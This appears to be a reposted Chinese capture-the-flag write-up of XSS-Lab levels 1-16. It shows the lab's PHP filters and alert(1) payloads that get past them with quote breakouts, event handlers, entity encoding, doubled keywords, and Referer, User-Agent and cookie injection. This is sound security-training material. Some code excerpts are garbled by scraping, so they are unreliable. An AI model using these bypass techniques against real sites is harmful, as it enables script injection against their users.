我的编程空间,编程开发者的网络收藏夹
学习永远不晚

XSS-Lab(XSS注入笔记1-16)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

XSS-Lab(XSS注入笔记1-16)

前言

本篇博客主要是记录笔者完成XSS-Lab步骤以及分析

题目链接:https://buuoj.cn/challenges

Github仓库:https://github.com/rebo-rn/xss-lab

出题人的题解:https://github.com/Re13orn/xss-lab/blob/master/XSSwrite up.docx

ps:仓库可以看代码即白盒测试

level1(直接注入)

在这里插入图片描述
我们发现网址后面有一个name的参数,猜测这里是否存在注入,我们先随便输入一个参数,例如name=kaptree,我们可以看到直接就显示欢迎kaptree

在这里插入图片描述

于是我们这里直接注入name=

ok,成功注入

在这里插入图片描述

level2(闭合标签)

在这里插入图片描述
我们发现有一个输入框,于是先认为这里可以注入,填上keyword=,我们发现并不能注入

在这里插入图片描述
我们直接看一下相应的源码:

DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; }script><title>欢迎来到level2title>head><body><h1 align=center>欢迎来到level2h1><h2 align=center>没有找到和<script>alert(1)</script>相关的结果.h2><center><form action=level2.php method=GET><input name=keyword  value=""><input type=submit name=submit value="搜索"/>form>center><center><img class="lazy" data-src=level2.png>center><h3 align=center>payload的长度:25h3>body>html>

我们发现这里他直接把我们输入的内容进行替换,于是我们通过"绕过,即keyword=">

在这里插入图片描述

level3(绕过htmlspecials()函数)

在这里插入图片描述
仍然先尝试level2的方式注入,发现并没有用,于是我们打开网页代码看看

在这里插入图片描述

DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; }script><title>欢迎来到level3title>head><body><h1 align=center>欢迎来到level3h1><h2 align=center>没有找到和"><script>alert(1)</script>相关的结果.h2><center><form action=level3.php method=GET><input name=keyword  value='"><script>alert(1)</script>'><input type=submit name=submit value=搜索 />form>center><center><img class="lazy" data-src=level3.png>center><h3 align=center>payload的长度:27h3>body>html>

我们发现我们输入里面的标识符都被替换成了转义符,于是我们不能使用刚才的方式了,我们发现'没被替换,于是我们可以给当前的位置绑定一个点击事件:keyword=' onclick='alert(1) ,然后需要点击一下输入框

在这里插入图片描述

level4(onclick绕过)

在这里插入图片描述
尝试之前的注入方式,发现行不通,然后查看源码

DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; }script><title>欢迎来到level4title>head><body><h1 align=center>欢迎来到level4h1><h2 align=center>没有找到和' οnclick='alert(1)相关的结果.h2><center><form action=level4.php method=GET><input name=keyword  value="' οnclick='alert(1)"><input type=submit name=submit value=搜索 />form>center><center><img class="lazy" data-src=level4.png>center><h3 align=center>payload的长度:19h3>body>html>

猜测是双引号的问题,于是:

keyword=" onclick="alert(1)

在这里插入图片描述

level5(绕过检测

在这里插入图片描述
尝试之前的注入方式,发现并不能注入,此时查看返回的代码:

DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; }script><title>欢迎来到level5title>head><body><h1 align=center>欢迎来到level5h1><h2 align=center>没有找到和" οnclick="alert(1)相关的结果.h2><center><form action=level5.php method=GET><input name=keyword  value="" o_nclick="alert(1)"><input type=submit name=submit value=搜索 />form>center><center><img class="lazy" data-src=level5.png>center><h3 align=center>payload的长度:20h3>body>html>

发现我们的onclick被过滤了,我们再试试之前的keyword=">,发现

<input name=keyword  value=""><scr_ipt>alert(1)script>">

发现关键词也被过滤了,于是我们使用标签绕过,即keyword="> 然后点击一下图片或者下方的文字即可

在这里插入图片描述
在源文件中我们也可以看到,有一些关键字被过滤掉了,即on

 ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace(",",$str);$str3=str_replace("on","o_n",$str2);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
;?>

level6(大小写绕过)

在这里插入图片描述

同样,我们先尝试之前的注入方式

<input name=keyword  value=""><a hr_ef="javascript:alert(1)">

我们发现它把href也过滤了,于是我们直接明牌!,看一下它代码:

 ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(",",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("class="lazy" data-src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
;?>

我们发现,onclass="lazy" data-srcdatahref 这几个关键字被过滤掉了,因为是直接过滤的,而html中大小写是不敏感的,于是我们直接变一下大小写即可keyword=">

level7(双写绕过标签过滤)

在这里插入图片描述

老样子,我们先试一下之前的注入,结果发现script直接被过滤了

<input name=keyword  value="">

我们打开源码看看

 ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);$str2=str_replace("script","",$str);$str3=str_replace("on","",$str2);$str4=str_replace("class="lazy" data-src","",$str3);$str5=str_replace("data","",$str4);$str6=str_replace("href","",$str5);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
;?>

这里将keyword转为小写然后再直接过滤的了,那么我们可以嵌套一下,例如:

如果我们想得到script显然这里会直接替换掉关键字,那么我们就可以传入sscriptcript,这样被替换后就是我们想要的script了,同理href替换为hhrefref,即:keyword=">

level8(ASCII编码绕过)

在这里插入图片描述
我们使用上一个注入方式,发现这次没有对keyword做过滤,而是做了一个转义符的替换

<input name=keyword  value=""><a hhrefref="javasscriptcript:alert(1)">

没思路,于是看看源码

 ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("class="lazy" data-src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '
.htmlspecialchars($str).'">
'
;?><?php echo '

.$str7.'">友情链接
'
;?>

我们发现两个地方可能存在渗透,第一个就是我们之前一直注入的input框,看了源码后发现没想到啥方法注入,反而是友情链接这里,我们发现$str7 只是做了一个简单的字符过滤,于是我们直接在这里将javascript:alert(1)中的字符使用HTML字符实体转换后注入即可:keyword=javascript:alert(1)

HTML字符实体转换器:https://www.qqxiuzi.cn/bianma/zifushiti.php

在这里插入图片描述

level9(必要字段+ASCII编码绕过)

在这里插入图片描述
先把上一个注入操作复刻一下,但是发现不合法

center><center><BR><a href="您的链接不合法?有没有!">友情链接a>center><center><img class="lazy" data-src=level9.png>center>

于是我们打开源码:

 ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("class="lazy" data-src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '
.htmlspecialchars($str).'">
'
;?><?phpif(false===strpos($str7,'http://')){ echo '

友情链接
'
; }else{ echo '

.$str7.'">友情链接
'
;}?>

我们发现多了一个if(false===strpos($str7,'http://')),也就是说在传入的数据中需要含有http://,那我们直接放在alert中即可,于是得到:

keyword=javascript:alert('http://')

然后点一下这个 友情链接
在这里插入图片描述

level10(利用hidden参数传递数据)

在这里插入图片描述
直接看源码吧:

 ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
;?>

我们发现注入点可能是t_sort,然后发现过滤了<>两个符号,那直接绑定onmouseover事件注入即可,注意的是这里的typehidden的,我们需要改一下,不然就点不到了,于是得到 t_sort=" onmouseover='alert(1)' type="text,当然绑定onclick事件也是可以的t_sort=" onclick='alert(1)' type="text

不同的是前者只需要鼠标移过去触发,后者需要点一下输入框

在这里插入图片描述

level11(REFERER注入)

在这里插入图片描述

 ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
;?>

查看源码,我们发现,可能存在渗透的地方就是HTTP_REFERER,因为t_sort这里直接使用htmlspecialchars转义了,而$str33只是过滤了><,所以只需要携带一个注入的语句访问网站即可,于是我们这里使用hackbar然后访问目标网址即可,Referer:" onclick='alert(1)' type="text

然后鼠标点一下框就行

在这里插入图片描述

level12(USER_AGENT注入)

在这里插入图片描述

 ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
;?>

看完源码后发现……(这里其实也可以不看源码,直接看html的返回的内容也能猜出),和上面差不多,只不过注入的位置变成了USER_AGENT,那么直接开注!

USER_AGENT:" onclick='alert(1)' type="text

在这里插入图片描述

level13(cookies注入)

在这里插入图片描述
看了一眼相应代码,猜测是cookies注入,于是冲一发:cookies:user=" onclick='alert(1)' type="text

在这里插入图片描述

然后成功注入~

level14(利用文件解析xss)

打不开这个,貌似是网站http://www.exifviewer.org/ 挂掉了,那就算过了吧~

看了一下作者的解法

在这里插入图片描述

level15

吐了,也打开不了,那个啥js加载不了了

level 16(回车替换空格)

在这里插入图片描述

找不到注入点,于是我们看看源码:

 ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script"," ",$str);$str3=str_replace(" "," ",$str2);$str4=str_replace("/"," ",$str3);$str5=str_replace(""," ",$str4);echo "
".$str5."
"
;?>

原来是传入keyword然后过滤数据,只有这个注入点了,我们又发现script /这三个字符都被过滤了,于是我们考虑传入标签,然后用%0a(换行符)代替空格,即keyword=

在这里插入图片描述

level17

寄,显示不出来,好像后面的都是这样

在这里插入图片描述

做题小结(出题人的)

做了20题(14题)下来,可以发现难度是依次上升的。
这里主要谈谈个人做题的一个基本思路。一般看到一道题目后,先观察题目的类型,猜想哪个地方哪个参数可能存在注入,也就是前期分析,往下是代码分析,具体分析网页的源代码甚至可以的话看看题目代码,可以加深对题目做了怎样的限制的认知,再往下,就是不断尝试,输入自己构造好的测试payload来做更多的判断。有的题目你可能一时找不到注入点,你可以用BURP抓包看看到底具体数据在哪个位置传输,有可能是HTTP头部的某一个字段也可能是正文部分。后面几道较难的是,这几题前提是你需要了解某些知识后才能做得出来,比如某某框架存在xss漏洞,或者某种文件解析可以解析xss等等,这时可以去乌云知识库去查查,一般都能找到对应的知识模块。
题目分析+测试语句+代码分析

基础测试语句:
'';!--"=&{()}

绕过:大小写,编码,双写等等

来源地址:https://blog.csdn.net/m0_46201544/article/details/127578322

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

XSS-Lab(XSS注入笔记1-16)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录